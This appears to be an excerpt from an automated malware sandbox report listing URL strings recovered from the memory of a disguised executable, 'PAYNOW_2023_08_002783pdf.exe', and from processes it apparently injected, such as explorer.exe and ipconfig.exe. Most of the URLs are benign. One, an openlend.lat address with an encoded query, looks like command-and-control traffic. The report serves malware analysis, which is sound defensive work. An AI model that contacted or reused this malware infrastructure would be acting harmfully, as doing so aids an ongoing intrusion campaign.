Source: explorer.exe, 0000000B.00000003.90798168536.000000000D998000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89860922380.000000000D998000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89838115505.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93162320753.000000000D99B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.90788939622.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D96C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.com
Source: ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://reg.ru?target=_blank
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003C7A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000002DDA000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.000000001442A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://s3-us-west-2.amazonaws.com/s.cdpn.io/16327/MorphSVGPlugin.min.js
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003C7A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000002DDA000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.000000001442A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://s3-us-west-2.amazonaws.com/s.cdpn.io/16327/SplitText.min.js
Source: explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://server99.hosting.reg.ru/manager
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88583316568.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: ipconfig.exe, 00000009.00000002.93144508490.0000000007DFA000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93142477578.0000000007718000.00000004.00000020.00020000.00000000.sdmp, 1577Z44ZL.9.dr	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: ipconfig.exe, 00000009.00000002.93144508490.0000000007DFA000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93142477578.0000000007718000.00000004.00000020.00020000.00000000.sdmp, 1577Z44ZL.9.dr	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: explorer.exe, 0000000B.00000002.93147051443.0000000009EC6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89216854584.0000000009E9C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89851355351.0000000009EB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89856660556.0000000009EC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.cn/shellRESP
Source: explorer.exe, 0000000B.00000002.93147051443.0000000009EC6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89216854584.0000000009E9C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89851355351.0000000009EB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89856660556.0000000009EC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com/shell
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-US&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-US&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000000B.00000003.89857437602.0000000009D65000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89214774004.0000000009D65000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93145426068.0000000009D65000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/ClassId(
Source: explorer.exe, 0000000B.00000003.90798168536.000000000D998000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89860922380.000000000D998000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89838115505.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93162320753.000000000D99B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.90788939622.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D96C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://wstatic.hosting.nic.ru/logo.svg
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88583316568.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88583316568.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: ipconfig.exe, 00000009.00000002.93142477578.0000000007718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/favicon.ico
Source: ipconfig.exe, 00000009.00000002.93144508490.0000000007DFA000.00000004.00000020.00020000.00000000.sdmp, 1577Z44ZL.9.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88583316568.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88583316568.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/finanzen/wirtschaft/studie-zur-altersvorsorge-fast-jeder-zweite-kann-seine
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/finanzen/wirtschaft/trotz-sanktionen-in-der-luft-mit-diesen-tricks-verhind
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/bewohner-sollen-sich-sch
Source: explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/avenir-suisse-sieht-keinen-wohnungsmangel-sp-sch
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/berliner-staatsanwaltschaft-stellt-verfahren-gegen-till-
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/bundesanwaltschaft-klagt-algerischen-ex-verteidigungsmin
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/christiane-f-was-geschah-mit-dem-m
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/der-welt-geht-der-sand-aus-und-das-hat-konsequenzen/ss-A
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/die-armee-investiert-163-millionen-franken-in-die-logist
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/gefahr-besteht-weiterhin-evakuierte-d
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/heftiger-sturm-auf-mallorca-sonnenliegen-fliegen-durch-d
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/hochwasser-erreicht-basel/ar-AA1fVTyA
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/in-den-hintern-gebissen-frecher-fuchs-
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/kann-trump-wahlkampfspenden-nutzen-um-seine-anwaltskoste
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/macht-dieses-video-rubiales-letzte-argumente-zunichte/ar
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/natalie-portmans-botschaft-an-jenni-hermoso-zum-fall-rub
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/omas-weisheiten-diese-uralten-k
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/regenhosen-flicken-statt-wegwerfen-so-gehts/ar-AA1fWkVm
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/schluss-mit-massentourismus-so-will-dieses-land-sich-jet
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/streaminganbieter-wie-netflix-verlieren-erstmals-
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/tickt-am-meeresgrund-eine-zeitbombe/ar-AA1fUEma
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/schweiz/bei-weltwoche-sommerfest-wirbel-um-foto-von-harald-sch
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/shopping?pid=126585095458
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/shopping?pid=143097525122
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/shopping?pid=55400307296
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/shopping?pid=78280893023
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/shopping?pid=98017897939
Source: explorer.exe, 0000000B.00000000.89214774004.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93144264248.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-de/finanzen/top-stories/nach-
Source: explorer.exe, 0000000B.00000000.89214774004.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93144264248.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-de/finanzen/top-stories/zahlreiche-deutsche-autos-auf-havarierter-fremantle-h
Source: explorer.exe, 0000000B.00000000.89214774004.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93144264248.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-de/nachrichten/other/donald-trumps-ex-berater-john-bolton-usa-werden-die-nato
Source: explorer.exe, 0000000B.00000000.89214774004.0000000009CCE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93144264248.0000000009CCE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-de/sport/motorsport/formel1/renn-kalender
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/de-ch/feed
Source: ipconfig.exe, 00000009.00000002.93142245935.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.nic.ru/catalog/domains/
Source: ipconfig.exe, 00000009.00000002.93142245935.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.nic.ru/catalog/hosting/
Source: ipconfig.exe, 00000009.00000002.93142245935.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.nic.ru/catalog/hosting/dedicated/
Source: ipconfig.exe, 00000009.00000002.93142245935.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.nic.ru/catalog/hosting/shared/
Source: ipconfig.exe, 00000009.00000002.93142245935.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.nic.ru/catalog/hosting/vds-vps/
Source: ipconfig.exe, 00000009.00000002.93142245935.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.nic.ru/catalog/ssl/
Source: ipconfig.exe, 00000009.00000002.93142245935.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.nic.ru/hcp
Source: explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.nic.ru/hcp2/sites/www.legalinmedia.online/?leg4590245
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000004130000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003290000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000148E0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.openlend.lat/aw8o/?5Nag0d=JwP18BaQn2gAMbwzAk/tzHq1rHqPkgowxzXz/N2AVg5llpqPoDBUT4Fbw9qJes
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.polleninfo.org/
Source: ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/dedicated/?utm_source=&utm_medium=expired&utm_campaign
Source: ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/hosting/?utm_source=&utm_medium=expired&utm_campaign
Source: ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/ssl-certificate/?utm_source=&utm_medium=expired&utm_campaign
Source: ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/support/#request
